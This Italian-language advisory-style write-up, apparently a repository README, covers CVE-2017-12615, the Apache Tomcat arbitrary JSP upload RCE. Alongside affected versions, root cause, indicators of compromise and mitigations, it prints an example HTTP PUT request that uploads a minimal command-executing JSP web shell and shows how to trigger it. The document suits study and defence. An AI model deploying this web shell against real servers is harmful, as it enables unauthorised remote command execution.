CVE-2017-12615 - Esecuzione Remota di Codice (RCE) in Apache Tomcat

CVE-2017-12615 è una vulnerabilità di Esecuzione Remota di Codice (RCE) che colpisce Apache Tomcat 7.0.0 fino a 7.0.79 in esecuzione su Microsoft Windows quando le richieste HTTP PUT sono abilitate.

La vulnerabilità esiste perché Tomcat gestisce erroneamente i file JSP caricati quando il DefaultServlet è configurato con il parametro readonly impostato su false. In queste condizioni, un attaccante non autenticato può caricare un file JSP malevolo direttamente sul server web ed eseguire codice Java arbitrario semplicemente richiedendo il file caricato.

Questa vulnerabilità è diventata uno dei problemi RCE di Tomcat più noti a causa della facilità con cui poteva essere sfruttata contro server mal configurati.

---

Versioni Affette

• Apache Tomcat 7.0.0 - 7.0.79
• Installazioni Microsoft Windows
• Metodo HTTP PUT abilitato
• readonly="false" configurato sul DefaultServlet

---

Gravità

Metrica	Valore
CVE	CVE-2017-12615
CVSS v3	8.1 (Alto)
Vettore d'Attacco	Rete
Privilegi Richiesti	Nessuno
Interazione Utente	Nessuna
Impatto	Esecuzione Remota di Codice

---

Causa Principale

Normalmente, Apache Tomcat impedisce agli utenti di caricare file JSP eseguibili.

Tuttavia, quando:

• Le richieste HTTP PUT sono abilitate
• Il DefaultServlet è scrivibile (readonly=false)
• Tomcat è in esecuzione su Windows

un attaccante può caricare un file JSP direttamente nella root web.

Una volta caricato, richiedere quel JSP induce Tomcat a compilarlo ed eseguirlo, consentendo l'esecuzione di codice Java arbitrario con i privilegi del servizio Tomcat.

---

Flusso dell'Attacco

Attacker
    │
    │ HTTP PUT
    ▼
Uploads malicious JSP shell
    │
    ▼
Tomcat stores file
    │
    │ HTTP GET
    ▼
Requests uploaded JSP
    │
    ▼
Tomcat compiles JSP
    │
    ▼
Java code executes
    │
    ▼
Remote Code Execution

---

Processo di Sfruttamento

Un attacco tipico segue questi passaggi:

1. Identificare un'istanza Tomcat vulnerabile.
2. Verificare che le richieste HTTP PUT siano consentite.
3. Caricare una web shell .jsp malevola.
4. Richiedere il JSP caricato.
5. Eseguire comandi di sistema arbitrari.
6. Stabilire una reverse shell o distribuire payload aggiuntivi.

Non è richiesta autenticazione se il server è vulnerabile.

---

Richiesta di Esempio

Esempio di richiesta HTTP PUT:

PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

Se ha successo, il server risponde con:

HTTP/1.1 201 Created

Il payload può quindi essere eseguito visitando:

http://victim.com/shell.jsp?cmd=whoami

---

Rilevamento di Esempio

Un modo semplice per identificare sistemi vulnerabili è tentare di caricare un JSP di test innocuo:

PUT /test.jsp

Le risposte possibili includono:

201 Created

oppure

204 No Content

Se il file caricato può essere successivamente recuperato via HTTP, è probabile che il server sia vulnerabile.

---

Impatto

Uno sfruttamento riuscito consente a un attaccante di:

• Eseguire comandi del sistema operativo arbitrari
• Caricare web shell persistenti
• Ottenere reverse shell
• Distribuire malware o ransomware
• Rubare informazioni sensibili
• Spostarsi più in profondità nelle reti interne
• Compromettere completamente il server Tomcat interessato

---

Indicatori di Compromissione

I team di sicurezza dovrebbero investigare per:

• Richieste HTTP PUT inaspettate
• File .jsp appena creati
• Web shell sconosciute
• Processi figlio sospetti generati da Tomcat
• Connessioni di rete di reverse shell
• Attività insolita all'interno della root web di Tomcat

---

Mitigazione

Le mitigazioni raccomandate includono:

• Aggiornare Apache Tomcat a una versione patchata.
• Disabilitare HTTP PUT se non assolutamente necessario.
• Assicurarsi che il DefaultServlet utilizzi readonly="true".
• Limitare i permessi di caricamento.
• Monitorare la creazione imprevista di file JSP.
• Implementare un Web Application Firewall (WAF).
• Esaminare regolarmente i log di accesso di Tomcat per richieste PUT sospette.

---

Riepilogo Tecnico

Proprietà	Valore
Vulnerabilità	Caricamento Arbitrario di JSP
CWE	CWE-434 - Caricamento senza Restrizioni di File con Tipo Pericoloso
Autenticazione Richiesta	No
Complessità dello Sfruttamento	Bassa su configurazioni vulnerabili
Risultato	Esecuzione Remota di Codice
Piattaforma	Windows
Servizio	Apache Tomcat

---

Riferimenti

• Banca Dati Nazionale delle Vulnerabilità NIST (NVD)
• Avvisi di Sicurezza di Apache Tomcat
• Record CVE: CVE-2017-12615

---

Dichiarazione di non responsabilità

Questo repository è destinato esclusivamente a scopi educativi, ricerca sulla sicurezza difensiva e test di penetrazione autorizzati. Non utilizzare queste informazioni contro sistemi senza autorizzazione esplicita.